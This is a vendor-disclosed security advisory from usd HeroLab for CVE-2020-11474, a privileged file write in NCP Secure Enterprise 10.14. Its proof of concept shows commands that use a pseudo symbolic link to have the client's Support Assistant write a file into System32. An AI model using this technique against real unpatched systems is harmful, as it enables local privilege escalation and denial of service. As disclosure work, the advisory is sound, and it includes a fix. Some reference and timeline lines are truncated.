



usd HeroL



Technisch erforderlich



Analyse und Performance



Alle akzeptieren

Speichern

Nur technisch notwendige Cookies akzeptieren

Individuelle Datenschutzeinstellungen

[Cookie-Details](#) | [Datenschutzklärung](#) | [Impressum](#)



## Datenschutz

Auf unserer Webseite werden von uns und eingebundenen Dritten technisch erforderliche Cookies und, soweit Sie uns durch Aktivierung der jeweiligen Checkbox hierzu Ihre freiwillige Einwilligung erteilen, auch Cookies und Tracking-Technologien zu Analysezwecken eingesetzt. Eine Einwilligung kann jederzeit mit Wirkung für die Zukunft widerrufen werden.

Wenn Sie unter 16 Jahre alt sind und Ihre Zustimmung zu freiwilligen Diensten geben möchten, müssen Sie Ihre Erziehungsberechtigten um Erlaubnis bitten.

Wir verwenden Cookies und andere Technologien auf unserer Website. Einige von ihnen sind essenziell, während andere uns helfen, diese Website und Ihre Erfahrung zu verbessern. Personenbezogene Daten können verarbeitet werden (z. B. IP-Adressen), z. B. für personalisierte Anzeigen und Inhalte oder Anzeigen- und Inhaltsmessung. Weitere Informationen über die Verwendung Ihrer Daten finden Sie in unserer [Datenschutzklärung](#). Sie können Ihre Auswahl jederzeit unter [Einstellungen](#) widerrufen oder anpassen.



**Advisory ID:** usd-2020-0038  
**CVE Number:** CVE-2020-11474  
**Affected Product:** NCP Secure Enterprise  
**Affected Version:** 10.14  
**Vulnerability Type:** Privileged File Write  
**Security Risk:** Critical  
**Vendor URL:** <https://www.ncp-e.com>  
**Vendor Status:** Fixed in 10.15 r47589

Nur technisch notwendige Cookies akzeptieren

Individuelle Datenschutzeinstellungen

[Cookie-Details](#) | [Datenschutzerklärung](#) | [Impressum](#)

## Description

Symbolic link attacks have become more and more popular on Windows operating systems. A symbolic link is just a directory entry that points to a different location of the file system and redirects certain file operations to the actual target. When privileged processes interact with user controlled parts of the file system, symbolic links can be used to redirect privileged file operations in order to achieve an elevation of privileges. However, it should be noticed that low privileged user accounts are not able to create symbolic links that connect two ordinary file system locations. That being said, there is a workaround that allows the creation of pseudo symbolic links, as demonstrated by [James Forshaw](#).

## Proof of Concept (PoC)

The NCP Secure Enterprise client allows low privileged user accounts to issue an operation with name *Support Assistant*. When this operation is used, several files get written to a user controlled path of the file system and some of these files are written with administrative privileges. In the following only the *Mobile Network Support* flag is used during the export, which only generates a single file:

```
PS C:\Users\ue02469\AppData\Local\Temp\NcpSupport> dir

Directory: C:\Users\ue02469\AppData\Local\Temp\NcpSupport

Mode                LastWriteTime         Length Name
----                -
-a----           11/03/2020   13:16         862690 enumusb.reg

PS C:\Users\ue02469\AppData\Local\Temp\NcpSupport> get-acl *
```

```
Directory: C:\Users\ue02469\AppData\Local\Temp\NcpSupport

Path            Owner                Access
----            -
enumusb.reg     VORDEFINIERT\Administrators NT-AUTORITÄT\SYSTEM Allow FullControl...
```

Since the directory is user controlled, the low privileged user can create a symbolic link to another location of the file system. After the *Support Assistant* function is used again, the targeted file gets written with administrative privileges.

```
PS C:\Users\ue02469\AppData\Local\Temp> C:\Users\Public\CreateSymlink.exe C:\Users\ue02469\AppData\Local\Temp\NcpSupport\enumusb.reg C:\Windows\System32\createdByNCP.bat

[Run NCP Support Assistant]
```

```
PS C:\Users\ue02469\AppData\Local\Temp> type C:\Windows\System32\createdByNCP.bat
Windows Registry Editor Version 5.00

[HKEY_LOCAL_MACHINE\SYSTEM\CurrentControlSet\Enum\USB]

[HKEY_LOCAL_MACHINE\SYSTEM\CurrentControlSet\Enum\USB\ROOT_HUB30]

[HKEY_LOCAL_MACHINE\SYSTEM\CurrentControlSet\Enum\USB\ROOT_HUB30\4&209f0815&0&0]
```

Apart from Denial of Service attacks, attackers could use this vulnerability for local privilege escalations, since parts of the file contents are user controlled.

## Fix

Privileged file operations on user controlled parts of the file system should be treated with special care. If possible, privileged file writes should only target protected locations on the file system, impersonation or inspecting targeted files for filesystem links.

## References

- <https://vimeo.com/showcase/34161>
- <https://googleprojectzero.blogspot.c>

## Timeline

- 2020-03-31 This vulnerability was fo
- 2020-04-01 Initial contact request v
- 2020-04-03 Submit Advisory to vend



## Datenschutz

Auf unserer Webseite werden von uns und eingebundenen Dritten technische erforderliche Cookies und, soweit Sie uns durch Aktivierung der jeweiligen Checkbox hierzu Ihre freiwillige Einwilligung erteilen, auch Cookies und Tracking-Technologien zu Analyse- und Marketingzwecken eingesetzt. Eine Einwilligung kann jederzeit mit Wirkung für die Zukunft widerrufen werden.

Wenn Sie unter 16 Jahre alt sind und Ihre Zustimmung zu freiwilligen Diensten geben möchten, müssen Sie Ihre Erziehungsberechtigten um Erlaubnis bitten.

Wir verwenden Cookies und andere Technologien auf unserer Website. Einige von ihnen sind essenziell, während andere uns helfen, diese Website und Ihre Erfahrung zu verbessern. Personenbezogene Daten können verarbeitet werden (z. B. IP-Adressen), z. B. für personalisierte Anzeigen und Inhalte oder Anzeigen- und Inhaltsmessung. Weitere Informationen über die Verwendung Ihrer Daten finden Sie in unserer [Datenschutzerklärung](#). Sie können Ihre Auswahl jederzeit unter [Einstellungen](#) widerrufen oder anpassen.



usd HeroLab

☒ Technisch erforderlich

☐ Analyse und Performance

Alle akzeptieren

Speichern

Nur technisch notwendige Cookies akzeptieren

Individuelle Datenschutzeinstellungen

[Cookie-Details](#) | [Datenschutzerklärung](#) | [Impressum](#)

About usd Security Advisories



In order to protect businesses against hackers and criminals, we always have to keep our skills and knowledge up to date. Thus, security research is just as important for our work as building up a security community to promote the exchange of knowledge. After all, more security can only be achieved if many individuals take on the task.

Our **CST Academy** and our **usd HeroLab** are essential parts of our security mission. We share the knowledge we gain in our practical work and our research through training courses and publications. In this context, the **usd HeroLab** publishes a series of papers on new vulnerabilities and current security issues.

Always for the sake of our mission: „more security.“

to usd AG

In accordance with usd AG's **Responsible Disclosure Policy**, all vendors have been notified of the existence of these vulnerabilities.

## Disclaimer

The information provided in this security advisory is provided „as is“ and without warranty of any kind. Details of this security advisory may be updated in order to provide as accurate information as possible.

[usd AG](#)

[Kontakt](#)

[Impressum](#)

[Datenschutz](#)

[AGB](#)

[© 2022 usd AG](#)

[Meldung einer Schwachstelle oder eines Bugs](#)

[Code of Ethics](#)



[LabNews](#)

[Security Advisory zu GitLab](#)

**Dez 15, 2022**

[Security Advisory zu Acronis Cyber Protect](#)

**Nov 9, 2022**

[Security Advisories zu Apache Tomcat](#)

**Nov 24, 2022**